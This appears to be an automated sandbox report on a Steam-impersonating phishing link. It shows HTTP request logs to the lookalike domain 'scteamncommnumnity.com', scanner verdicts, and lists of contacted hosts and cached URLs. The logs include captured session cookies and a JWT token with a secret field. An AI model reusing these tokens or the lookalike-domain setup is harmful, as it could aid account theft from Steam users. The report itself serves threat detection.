Source: global traffic	HTTP traffic detected: GET /26402d5474535156004c675e1201735b5e5f5855 HTTP/1.1Host: scteamncommnumnity.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.I56cw5NQULlXZjwao4HXnEBj0QEUstDc.Gb39iixSErBuzV88.azuaYIB6oBpBUVmHEfMcBqr6GM58HAcSRQu8Bb4l8tYUkhJb6sMAHyrxE8Yk9EudLq3n1ViwtiXajA7gr9GyqHp5vvVcv10NRyejGb1H0p_0DFpG95D9xMOC91j9t6LUKgyK0XUgzZPYtIgbe9McM9I0OySWDE4IGKTuK7VPX5xFsb0DVIX4tDksnl_4hW-Ewn2pKied8zmr2P9EhhM2b9f3_B1J9woKtYQZXSqMxQ_6OyOBDnLkXrE.0L8YyKP1VHxFl6GFnhgtFA; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImI5YzU5YjIxZTg0N2ZkMDQwOTEyY2U3MTJhMWE4M2JkIiwic2VydmljZSI6IlN0ZWFtIn0.vdCkSFGEFj8sw52zufWKFnHiFUwW8-VcgM7SxpD4j0M
Source: global traffic	HTTP traffic detected: GET /ui/1.11.3/jquery-ui.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /26402d54745351580b5c514f.js HTTP/1.1Host: scteamncommnumnity.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.I56cw5NQULlXZjwao4HXnEBj0QEUstDc.Gb39iixSErBuzV88.azuaYIB6oBpBUVmHEfMcBqr6GM58HAcSRQu8Bb4l8tYUkhJb6sMAHyrxE8Yk9EudLq3n1ViwtiXajA7gr9GyqHp5vvVcv10NRyejGb1H0p_0DFpG95D9xMOC91j9t6LUKgyK0XUgzZPYtIgbe9McM9I0OySWDE4IGKTuK7VPX5xFsb0DVIX4tDksnl_4hW-Ewn2pKied8zmr2P9EhhM2b9f3_B1J9woKtYQZXSqMxQ_6OyOBDnLkXrE.0L8YyKP1VHxFl6GFnhgtFA; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImI5YzU5YjIxZTg0N2ZkMDQwOTEyY2U3MTJhMWE4M2JkIiwic2VydmljZSI6IlN0ZWFtIn0.vdCkSFGEFj8sw52zufWKFnHiFUwW8-VcgM7SxpD4j0M
Source: global traffic	HTTP traffic detected: GET /public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/javascript/main.js?v=90zQriNTNEnM&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/javascript/dynamicstore.js?v=uk2vdkhDxGM-&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/javascript/prototype-1.7.js?v=.a38iP7Khdmyy HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /26402d5474535156004c675e1201735b5e5f5855 HTTP/1.1Host: scteamncommnumnity.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.I56cw5NQULlXZjwao4HXnEBj0QEUstDc.Gb39iixSErBuzV88.azuaYIB6oBpBUVmHEfMcBqr6GM58HAcSRQu8Bb4l8tYUkhJb6sMAHyrxE8Yk9EudLq3n1ViwtiXajA7gr9GyqHp5vvVcv10NRyejGb1H0p_0DFpG95D9xMOC91j9t6LUKgyK0XUgzZPYtIgbe9McM9I0OySWDE4IGKTuK7VPX5xFsb0DVIX4tDksnl_4hW-Ewn2pKied8zmr2P9EhhM2b9f3_B1J9woKtYQZXSqMxQ_6OyOBDnLkXrE.0L8YyKP1VHxFl6GFnhgtFA; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImI5YzU5YjIxZTg0N2ZkMDQwOTEyY2U3MTJhMWE4M2JkIiwic2VydmljZSI6IlN0ZWFtIn0.vdCkSFGEFj8sw52zufWKFnHiFUwW8-VcgM7SxpD4j0M
Source: global traffic	HTTP traffic detected: GET /public/javascript/scriptaculous/_combined.js?v=Me1IBxzktiwk&l=english&load=effects,controls,slider HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0 HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/javascript/redeemwalletcode.js?v=XsgODqUOlVw9&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/shared/javascript/dselect.js?v=sjouo3-33Gox&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/javascript/modal.js?v=.Gl8zxCENQAoO HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/javascript/main.js?v=90zQriNTNEnM&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/javascript/dynamicstore.js?v=uk2vdkhDxGM-&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/shared/javascript/shared_responsive_adapter.js?v=pSvIAKtunfWg&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/javascript/redeemwalletcode.js?v=XsgODqUOlVw9&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/javascript/scriptaculous/_combined.js?v=Me1IBxzktiwk&l=english&load=effects,controls,slider HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/javascript/prototype-1.7.js?v=.a38iP7Khdmyy HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/images//v6/temp/cluster_bg_2.png HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://store.akamai.steamstatic.com/public/css/v6/store.css?v=z0n7Kqde-Ths&l=englishAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/shared/images/header/btn_header_installsteam_download.png?v=1 HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=mm2EqtpQ_Tvc&l=englishAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/shared/javascript/dselect.js?v=sjouo3-33Gox&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source	Detection	Scanner	Label	Link
https://u.to/UKDgIA	0%	Avira URL Cloud	safe
https://u.to/UKDgIA	100%	SlashNext	Fraudulent Website type: Phishing & Social Engineering

Source	Detection	Scanner	Label
https://support.google.com/recaptcha/#6175971	0%	URL Reputation	safe
https://support.google.com/recaptcha	0%	URL Reputation	safe
https://cloud.google.com/contact	0%	URL Reputation	safe
https://store.akamai.steamstatic.com/public/css/v6/store.css?v=Rzrd3uCdRpEQ&l=english	0%	Avira URL Cloud	safe
https://store.steampowered.com/account/ajaxcreatewalletandcheckfunds/	0%	Avira URL Cloud	safe
https://cdn.akamai.steamstatic.com/store/about/icon-steamos.svg	0%	Avira URL Cloud	safe
https://steamcommunity.com/chat/group/	0%	Avira URL Cloud	safe
https://store.akamai.steamstatic.com/public/javascript/applications/store/sales_english-json.js?contenthash=3e3b65fabec655df899a	0%	Avira URL Cloud	safe
https://cdn.akamai.steamstatic.com/store/about/videos/about_hero_loop_web.png	0%	Avira URL Cloud	safe
https://shared.akamai.steamstatic.com/store_item_assets/steam/apps/1601580/cbbcef0a73599e6bf1cc232ff	0%	Avira URL Cloud	safe
https://scteamncommnumnity.com/en-hdy-RcQs.js	0%	Avira URL Cloud	safe
https://store.akamai.steamstatic.com/public/css/v6/account.css?v=P2WLI8B6ddJe&l=english	0%	Avira URL Cloud	safe
https://store.akamai.steamstatic.com/public/shared/images/ico/ico-deck-unknown.svg	0%	Avira URL Cloud	safe
https://store.akamai.steamstatic.com/public/shared/images/buttons/icons_16.png?v=5);	0%	Avira URL Cloud	safe
https://github.com/jquery/jquery-color	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=izUoxHQ%2FNSg9Wcn8RhB4FsUeupcQMH%2Fvnr%2B62o9heh2xnbv2ky4rVbHkirHnY%2F5QHnvwGtAK1MqLv5SYSXUzkrQ%2F7DKIGq8Z7e6%2B0CsKEvX6fUukYHqTNJaTbKu1ax3juYXlP2owzTBZ	0%	Avira URL Cloud	safe
https://store.akamai.steamstatic.com/public/shared/images/community/levels_airelement_1-2.png	0%	Avira URL Cloud	safe
https://store.steampowered.com/points/shop/?snr=1_mobilehome_14__global-header	0%	Avira URL Cloud	safe
https://help.steampowered.com/th/	0%	Avira URL Cloud	safe
https://store.akamai.steamstatic.com/public/shared/images/community/levels_patterns_3-4.png?v=2	0%	Avira URL Cloud	safe
https://store.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	Avira URL Cloud	safe
https://store.akamai.steamstatic.com/public/shared/images/community/levels_6100_crown.png	0%	Avira URL Cloud	safe
https://cdn.akamai.steamstatic.com/store/about/icon-broadcasts.svg	0%	Avira URL Cloud	safe
https://store.akamai.steamstatic.com/public/shared/images/community/levels_grunge_4.png?v=2	0%	Avira URL Cloud	safe
https://store.steampowered.com/app/2515020/FINAL_FANTASY_XVI/	0%	Avira URL Cloud	safe
https://store.akamai.steamstatic.com/public/shared/images/community/levels_halftone_2.png?v=2	0%	Avira URL Cloud	safe
https://store.akamai.steamstatic.com/public/shared/images/friendindicator_small.png	0%	Avira URL Cloud	safe
https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-RegularItalic.ttf?v=4.015	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg	0%	Avira URL Cloud	safe
https://cdn.akamai.steamstatic.com/store/promo/newstore2016/homepage_long_01.jpg?v=1);	0%	Avira URL Cloud	safe
http://api.jqueryui.com/size-effect/	0%	Avira URL Cloud	safe
https://cdn.akamai.steamstatic.com/store/about/icon-earlyaccess.svg	0%	Avira URL Cloud	safe
https://store.akamai.steamstatic.com/public/css/applications/store/main.css?v=pEy7_oS8JGAJ&l=eng	0%	Avira URL Cloud	safe
https://help.steampowered.com/wizard/HelpWithWalletCode	0%	Avira URL Cloud	safe
https://steamcommunity.com/chat/	0%	Avira URL Cloud	safe
https://store.akamai.steamstatic.com/public/shared/images/community/levels_hexagons.png	0%	Avira URL Cloud	safe
https://cdn.akamai.steamstatic.com/client/installer/steam.dmg	0%	Avira URL Cloud	safe
https://store.akamai.steamstatic.com/public/images/mobile/steam_mobile_qr_code.png	0%	Avira URL Cloud	safe
https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/mobile_chat/mobile_chat_en	0%	Avira URL Cloud	safe
https://store.akamai.steamstatic.com/public/javascript/applications/store/libraries~b28b7af69.js?v=w	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
https://cdn.akamai.steamstatic.com/store/about/videos/about_hero_loop_web.png	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/css/v6/account.css?v=P2WLI8B6ddJe&l=english	false	Avira URL Cloud: safe	unknown
https://scteamncommnumnity.com/en-hdy-RcQs.js	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/javascript/applications/store/sales_english-json.js?contenthash=3e3b65fabec655df899a	false	Avira URL Cloud: safe	unknown
https://cdn.akamai.steamstatic.com/store/about/icon-steamos.svg	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=izUoxHQ%2FNSg9Wcn8RhB4FsUeupcQMH%2Fvnr%2B62o9heh2xnbv2ky4rVbHkirHnY%2F5QHnvwGtAK1MqLv5SYSXUzkrQ%2F7DKIGq8Z7e6%2B0CsKEvX6fUukYHqTNJaTbKu1ax3juYXlP2owzTBZ	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	false	Avira URL Cloud: safe	unknown
https://cdn.akamai.steamstatic.com/store/about/icon-broadcasts.svg	false	Avira URL Cloud: safe	unknown
https://cdn.akamai.steamstatic.com/store/about/icon-earlyaccess.svg	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/images/mobile/steam_mobile_qr_code.png	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/css/buttons.css?v=6PFqex5UPprb&l=english	false	Avira URL Cloud: safe	unknown
https://cdn.akamai.steamstatic.com/store/about/cta_hero_hardware_pt2.png?v=2	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/public/css/help.css?v=Oj5GobEHmQBs	false	Avira URL Cloud: safe	unknown
https://cdn.akamai.steamstatic.com/store/about/icon-steamworkshop.svg	false	Avira URL Cloud: safe	unknown
https://api.steampowered.com/IAuthenticationService/BeginAuthSessionViaQR/v1	false	Avira URL Cloud: safe	unknown
https://cdn.akamai.steamstatic.com/store/about/cta_hero_community.png	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=nyr5lpqNSIdn&l=english	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/joinsteam/new_login_bg_strong_mask.jpg	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/javascript/login.js?v=v36TDHXA_sAC&l=english	false	Avira URL Cloud: safe	unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/578080/609f27278aa70697c13bf99f32c5a0248c381f9d.jpg	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://scteamncommnumnity.com/26402d54745351580b5c514f4b0f65500573747f21.js	false	Avira URL Cloud: safe	unknown
https://scteamncommnumnity.com/26402d54745351570c4c5d5901410272575c455b0d02120374065e085654	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/images/x9x9.gif	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/javascript/applications/store/shared_english-json.js?contenthash=f1d01538b25d49f1e9f6	false	Avira URL Cloud: safe	unknown
https://s.team/q/1/2248518814943508887	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015	false	Avira URL Cloud: safe	unknown
https://cdn.akamai.steamstatic.com/store/about/cta_hero_steamworks_pt1.png	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/javascript/applications/store/manifest.js?v=zBPbgwh0foZf&l=english	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/public/shared/css/shared_responsive.css?v=exm1WeGiLGq1	false	Avira URL Cloud: safe	unknown
https://scteamncommnumnity.com/fiting/geting/going	false		unknown
https://help.steampowered.com/public/shared/images/header/btn_header_installsteam_download.png?v=1	false	Avira URL Cloud: safe	unknown
https://scteamncommnumnity.com/26402d54745351580b5c514f4b0a60454a76547939.css	false	Avira URL Cloud: safe	unknown

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.129.229	true	false	unknown
u.to	195.216.243.155	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
fonts.cdnfonts.com	172.67.184.158	true	false	unknown
s.team	23.206.17.37	true	false	unknown
help.steampowered.com	23.50.98.133	true	false	unknown
api.steampowered.com	23.192.247.89	true	false	unknown
cdn.akamai.steamstatic.com	2.19.126.208	true	false	unknown
community.cloudflare.steamstatic.com	104.18.42.105	true	false	unknown
recaptcha.net	142.250.184.195	true	false	unknown
steamcommunity.com	23.192.247.89	true	false	unknown
code.jquery.com	151.101.2.137	true	false	unknown
store.steampowered.com	88.221.169.65	true	false	unknown
scteamncommnumnity.com	188.114.96.3	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
www.google.com	216.58.206.36	true	false	unknown
store.akamai.steamstatic.com	2.16.168.6	true	false	unknown
login.steampowered.com	23.50.98.133	true	false	unknown
community.akamai.steamstatic.com	2.16.202.113	true	false	unknown
shared.akamai.steamstatic.com	unknown	unknown	false	unknown
cdn.jsdelivr.net	unknown	unknown	false	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
https://steamcommunity.com/chat/group/	chromecache_572.2.dr, chromecache_413.2.dr, chromecache_464.2.dr, chromecache_399.2.dr, chromecache_238.2.dr, chromecache_254.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/ico/ico-deck-unknown.svg	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
https://shared.akamai.steamstatic.com/store_item_assets/steam/apps/1601580/cbbcef0a73599e6bf1cc232ff	chromecache_219.2.dr, chromecache_208.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/account/ajaxcreatewalletandcheckfunds/	chromecache_463.2.dr, chromecache_452.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/css/v6/store.css?v=Rzrd3uCdRpEQ&l=english	chromecache_488.2.dr, chromecache_219.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/buttons/icons_16.png?v=5);	chromecache_557.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/jquery/jquery-color	chromecache_544.2.dr, chromecache_529.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_patterns_3-4.png?v=2	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/points/shop/?snr=1_mobilehome_14__global-header	chromecache_488.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_airelement_1-2.png	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/th/	chromecache_447.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_6100_crown.png	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/app/2515020/FINAL_FANTASY_XVI/	chromecache_219.2.dr, chromecache_208.2.dr	false	Avira URL Cloud: safe	unknown
https://support.google.com/recaptcha/#6175971	chromecache_514.2.dr, chromecache_511.2.dr	false	URL Reputation: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_grunge_4.png?v=2	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-RegularItalic.ttf?v=4.015	chromecache_439.2.dr, chromecache_351.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_halftone_2.png?v=2	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
